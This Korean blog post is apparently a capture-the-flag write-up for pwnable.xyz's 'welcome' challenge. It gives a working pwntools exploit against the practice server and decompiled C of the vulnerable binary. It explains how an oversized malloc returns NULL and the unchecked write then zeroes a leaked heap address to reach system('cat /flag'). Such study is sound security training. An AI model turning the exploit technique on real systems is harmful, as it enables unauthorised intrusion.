security/포너블 - pwnable.xyz

pwnable.xyz - welcome

민사민서 2023. 2. 5. 00:57
from pwn import *

p = remote("svc.pwnable.xyz", 30000)

p.recvuntil("Leak: ")
leak = int(p.recvline()[:-1], 16)
p.sendlineafter("message: ", str(int(leak+1)))
p.sendafter("message: ", 'aaaa')
p.interactive()

 

-rw-r--r-- 1 minseo minseo 10224 12월 26  2018 challenge
- cat해서 보니까 ELF 파일임
- 실행 권한이 없네요: chmod +x ./challenge
- memory leak 있고 입력받는거보니 bof 하는거같네요 (근데 보호기법 전부 MAX로 적용되어있는데?ㅋㅋ)
- 심볼 파일이 없어서 bp 안걸림. b *0x0 하고 실행시키고 info file해서 .text 영역의 주소 파악 후
- x/100i (.text영역 주소) 해서 디스어셈블 결과 분석하자
(info b 한다음 delete 1 하면 0x0의 bp 삭제 가능)

- 뭘 힘들게 어셈블리어 보고있어,, IDA 디컴파일 기능 활용 ㅋㅋ
- 윈도우에서 다운받아 압축 해제하면 challenge_21 확장자 없는 파일 나옴
- IDA에 던져도 분석 안되길래 HxD로 열어봤더니 뭔가 압축파일 같아서 7zip으로 압축해제하니
- 정상적으로 challenge 파일이 나온다

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rbx
  char *v4; // rbp
  size_t v5; // rdx
  size_t size[5]; // [rsp+0h] [rbp-28h] BYREF

  size[1] = __readfsqword(0x28u);
  sub_B4E(a1, a2, a3);
  puts("Welcome.");
// v3에 0x40000크기의 chunk 할당하고 
  v3 = malloc(0x40000uLL);
// 첫 4byte를 1로 채운다, little endian이므로 v3 포인터가 가리키는 첫 바이트에 1 저장 
  *v3 = 1LL;
// 여기서 chunk 주소 leak 해준다 
  _printf_chk(1LL, "Leak: %p\n", v3);
  _printf_chk(1LL, "Length of your message: ");
  size[0] = 0LL;
// size 입력받아서 
  _isoc99_scanf("%lu", size);
// 그만큼 heap에 chunk 할당 
  v4 = (char *)malloc(size[0]);
  _printf_chk(1LL, "Enter your message: ");
// size 크기만큼 v4에 입력받는다?
  read(0, v4, size[0]);
  v5 = size[0];
// 마지막 바이트는 NULL로
  v4[size[0] - 1] = 0;
// v4 내용을 출력해준다
  write(1, v4, v5);
// v3 첫 8byte가 0이면 cat /flag 실행된다...
  if ( !*v3 )
    system("cat /flag");
  return 0LL;
}

v4[size[0]-1] = 0 구문에서 v3의 첫바이트를 0으로 만들어주면 어떨까?!
malloc 함수가 메모리 할당에 실패하였을 경우, 널 포인터를 리턴한다. 즉 v4 = 0
size[0]=leak된 메모리 주소 + 1 넣으면 되려나!!
비정상적으로 큰 메모리를 할당하려하므로 할당 실패해서 v4=null 리턴 

malloc 후 null ptr인지 검사하는 루틴이 없네 이래서 중요하구나




'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - note  (0) 2023.02.05
pwnable.xyz - grownup  (0) 2023.02.05
pwnable.xyz - misalignment  (0) 2023.02.05
pwnable.xyz - add  (0) 2023.02.05
pwnable.xyz - sub  (0) 2023.02.05